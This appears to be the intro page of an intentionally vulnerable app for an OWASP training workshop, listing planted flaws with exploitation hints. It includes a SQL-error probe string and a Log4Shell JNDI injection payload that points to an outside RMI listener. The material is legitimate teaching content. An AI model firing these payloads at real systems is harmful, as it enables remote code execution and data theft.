OWASP Workshop - Vulnerable App

⚠️ WARNING: VULNERABLE APPLICATION

This application contains intentional security vulnerabilities for educational purposes.
DO NOT USE IN PRODUCTION!

A01:2025 - Broken Access Control: Try accessing /admin/dashboard as a regular user
A02:2025 - Security Misconfiguration: API /api/status accepts param user, try /api/status?user=john'" for SQL error exposure
A03:2025 - Software Supply Chain Failures (Log4Shell): API /api/log accepts message param, try /api/log?message=${jndi:rmi://tcp-listener:1099/exploit} for JNDI injection
A04:2025 - Cryptographic Failures: Passwords are hashed using MD5 (check H2 console)
A05:2025 - Injection (SQL): Try SQL injection in login or search functionality
A05:2025 - Injection (XSS): Try XSS attacks in search or comments